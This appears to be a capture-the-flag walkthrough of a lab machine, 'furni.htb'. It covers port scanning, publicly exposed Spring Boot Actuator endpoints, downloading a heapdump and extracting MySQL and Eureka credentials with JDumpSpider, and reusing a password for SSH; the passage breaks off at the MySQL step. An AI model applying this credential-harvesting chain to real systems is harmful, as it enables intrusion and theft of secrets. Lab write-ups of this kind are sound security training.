RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpa5HH8lfpsh11cCkEoqcNXWPj6wh8GaDrnXst/q7zd1PlBzzwnhzez+7mhwfv1PuPf5fZ7KtZLMfVPuUzkUHVEwF0gSN0GrFcKl/D34HmZPZAsSpsWzgrE2sayZa3xZuXKgrm5O4wyY+LHNPuHDUo0aUqZp/f7SBPqdwDdBVtcE8ME/AyTeJiJrOhgQWEYxSiHMzsm3zX40ehWg2vNjFHDRZWCj3kJQi0c6Eh0T+hnuuK8A3Aq2Ik+L2aITjTy0fNqd9ry7i6JMumO6HjnSrvxAicyjmFUJPdw1QNOXm+m+p37fQ+6mClAh15juBhzXWUYU22q2q9O/Dc/SAqlIjn1lLbhpZNengZWpJiwwIxXyDGeJU7VyNCIIYU8J07BtoE4fELI26T8u2BzMEJI5uK3UToWKsriimSYUeKA6xczMV+rBRhdbGe39LI5AKXmVM1NELtqIyt7ktmTOkRQ024ZoSS/c+ulR4Ci7DIiZEyM2uhVfe0Ah7KnhiyxdMSlb0=
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNqI0DxtJG3vy9f8AZM8MAmyCh1aCSACD/EKI7solsSlJ937k5Z4QregepNPXHjE+w6d8OkSInNehxtHYIR5nKk=
|   256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNmmTon1qbQUXQdI6Ov49enFe6SgC40ECUXhF0agNVn
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    syn-ack Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 8761: exposed a Tomcat administrative interface. Typically, the initial move would involve brute-forcing with default Tomcat credentials (tomcat:tomcat, admin:admin, and so forth), pivoting to a WAR file deployment if authentication is compromised.

Simultaneously, the primary foothold appears accessible via http://furni.htb/—our front door into the system’s labyrinth.

Port 80

Look Around

Port 80 hosts a furniture e-commerce platform, where users can submit a contact form via a POST request:

We also find a /comment endpoint for blog submissions. However, after some XSS probing, no injection points were found vulnerable.

Dirsearch

$ dirsearch -u http://furni.htb/ -x 399-499

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266

Target: http://furni.htb/

[20:22:04] Scanning:
[20:22:49] 200 -   14KB - /about
[20:22:51] 200 -    2KB - /actuator
[20:22:52] 200 -    20B - /actuator/caches
[20:22:53] 200 -     2B - /actuator/info
[20:22:53] 200 -   467B - /actuator/features
[20:22:53] 200 -    6KB - /actuator/env
[20:22:53] 200 -    15B - /actuator/health
[20:22:53] 200 -    3KB - /actuator/metrics
[20:22:53] 200 -    54B - /actuator/scheduledtasks
[20:22:53] 200 -   35KB - /actuator/mappings
[20:22:53] 200 -   36KB - /actuator/configprops
[20:22:53] 200 -   99KB - /actuator/loggers
[20:22:52] 200 -  180KB - /actuator/conditions
[20:22:52] 200 -  198KB - /actuator/beans
[20:22:53] 200 -  211KB - /actuator/threaddump
[20:22:53] 200 -   76MB - /actuator/heapdump
[20:23:26] 200 -   13KB - /blog
[20:23:27] 302 -     0B - /cart  ->  http://furni.htb/login
[20:23:29] 302 -     0B - /checkout  ->  http://furni.htb/login
[20:23:32] 302 -     0B - /comment  ->  http://furni.htb/login
[20:23:36] 200 -   10KB - /contact
[20:23:48] 500 -    73B - /error
[20:24:14] 200 -    2KB - /login
[20:24:16] 200 -    1KB - /logout
[20:24:46] 200 -    9KB - /register
[20:24:53] 200 -   14KB - /services
[20:24:54] 200 -   12KB - /shop

Task Completed

Spring Boot Actuator Endpoints are Public! /actuator endpoints like:

  • /env
  • /heapdump
  • /mappings
  • /beans
  • /loggers
  • /heapdump (76MB!)

Clear signal: the backend rides on a Spring Boot application.

Port 8761 | Tomcat

This port leaks a Tomcat administration panel:

Old-school HTTP Basic Authentication in place:

HTTP
GET / HTTP/1.1
Host: furni.htb:8761
Cache-Control: max-age=0
Authorization: Basic YWFhOmFhYQ==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SESSION=M2UwN2E2OTgtM2IxOS00ZmM4LThjYzQtYzUzMTY0MThiYTkz; JSESSIONID=225DC3A504EE3C9BF0CD445CACA6363B
Connection: keep-alive

WEB

Sprint Boot Actuator

/actuator

It strips the traditional Spring complexity down to a slick, fire-and-forget model—compile a .jar, and boom, the app breathes online with its own embedded server (Tomcat, Jetty, etc.).

Bundled with it comes Spring Boot Actuator — an operational god mode. Actuator opens special management endpoints like /actuator/health, /actuator/env, /actuator/heapdump, allowing real-time visibility into the application's pulse.

If these endpoints are exposed publicly, it’s game over. They spill system guts, environment secrets, memory states—a buffet for attackers.

Key Actuator Endpoints (Critical for Attackers):

EndpointUsageRisk
/actuator/envShows environment variablesCan leak DB creds, API keys, tokens
/actuator/heapdumpDumps server memory snapshotCredentials, tokens, sessions in RAM
/actuator/mappingsLists all API routesDiscover hidden admin APIs
/actuator/beansLists internal objectsReveal service structure, logic hints
/actuator/healthSystem health infoMinor info leak unless extended

A naked /heapdump is a loaded shotgun pointed at the server’s own head.

Enum Endpoints

Env

Snagging /actuator/env dropped a detailed JSON on the deck, revealing the server’s internal configuration. The app’s default profile boots off a local application.properties at /var/www/web/Furni/src/main/resources/, where critical operational parameters live:

JSON
{
  "name": "Config resource 'file [/var/www/web/Furni/src/main/resources/application.properties]' via location '/var/www/web/Furni/src/main/resources/application.properties'",
  "properties": {
    "spring.application.name": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 1:25"
    },
    "spring.session.store-type": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 2:27"
    },
    "spring.cloud.inetutils.ignoredInterfaces": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 3:42"
    },
    "spring.cloud.client.hostname": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 4:30"
    },
    "eureka.client.service-url.defaultZone": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 6:40"
    },
    "eureka.instance.hostname": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 7:26"
    },
    "eureka.instance.prefer-ip-address": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 8:35"
    },
    "spring.jpa.hibernate.ddl-auto": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 10:31"
    },
    "spring.datasource.url": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 11:23"
    },
    "spring.datasource.username": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 12:28"
    },
    "spring.datasource.password": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 13:28"
    },
    "spring.datasource.driver-class-name": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 14:37"
    },
    "spring.jpa.properties.hibernate.format_sql": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 15:44"
    },
    "server.address": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 17:16"
    },
    "server.port": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 18:13"
    },
    "server.forward-headers-strategy": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 20:33"
    },
    "management.endpoints.web.exposure.include": {
      "value": "******",
      "origin": "URL [file:/var/www/web/Furni/src/main/resources/application.properties] - 22:43"
    }
  }
}
  • Database is configured (spring.datasource.url, spring.datasource.username, spring.datasource.password): credentials are masked but possibly recoverable from heapdump memory.
  • This server uses Eureka service discovery, with eureka.client.service-url.defaultZone defined (although masked). This indicates the application actively participates in a service registry system, typically in microservice architectures.

It hints that internal service registration credentials exist.

Feature

Pulling /actuator/features showcased active integrations inside the Furni app:

JSON
{
  "enabled": [
    {
      "type": "com.netflix.discovery.EurekaClient",
      "name": "Eureka Client",
      "version": "2.0.3",
      "vendor": null
    },
    {
      "type": "org.springframework.cloud.client.discovery.composite.CompositeDiscoveryClient",
      "name": "DiscoveryClient",
      "version": "4.1.4",
      "vendor": "Pivotal Software, Inc."
    },
    {
      "type": "org.springframework.cloud.loadbalancer.blocking.client.BlockingLoadBalancerClient",
      "name": "LoadBalancerClient",
      "version": "4.1.4",
      "vendor": "Pivotal Software, Inc."
    }
  ],
  "disabled": []
}

The app registers itself as a service to Eureka server of version 2.0.3. It fetches peers, and likely relies on load balancing between internal components.

Heapdump

We snag the heapdump straight from /actuator/heapdump:

$ curl -O http://furni.htb/actuator/heapdump

$ file heapdump
heapdump: Java HPROF dump, created Thu Aug  1 18:29:32 2024

When the Java server was running:

  • If the application had a password loaded in memory: admin:SuperSecret123!
  • If it had active JWT sessions: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  • If it connected to a DB: JDBC URL and password would be alive.

The heapdump would contain raw memory bytes for those values.

To crack it open, unleash JDumpSpider:

$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump.hprof

===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190

===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!

===========================================
MongoClient
-------------
not found!

===========================================
AliDruidDataSourceWrapper
-------------
not found!

===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!

===========================================
RedisStandaloneConfiguration
-------------
not found!

===========================================
JedisClient
-------------
not found!

===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!

===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none

===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka

===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null

===========================================
ConsulPropertySources
-------------
not found!

===========================================
JavaProperties
-------------
not found!

===========================================
ProcessEnvironment
-------------
not found!

===========================================
OSS
-------------
not found!

===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]

org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]

org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]

org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]

org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]

com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]

com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]

com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]

com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]

com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]

com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]

org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]

org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]

org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]

org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]

com.zaxxer.hikari.HikariDataSource:
[password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]

Findings from Heapdump spider:

  • MySQL Credentials:
    • Username: oscar190
    • Password: 0sc@r190_S0l!dP@sswd
    • Database URL: jdbc:mysql://localhost:3306/Furni_WebApp_DB
  • Eureka Service Credentials:
    • Username: EurekaSrvr
    • Password: 0scarPWDisTheB3st
    • Service URL: http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
  • Spring Boot Default User Password:
    • Auto-generated password: 4312eecb-54e8-46b9-a645-5b9df3ea21d8
  • Server Configuration:
    • Application Name: Furni
    • Server Port: 8082
    • Session Store: jdbc (sessions stored in database)
    • Hibernate setting: format_sql=true

MySQL

The credentials excavated from the heapdumposcar190 / 0sc@r190_S0l!dP@sswd — grant SSH access as user oscar190:

Once inside, we breach the MySQL database: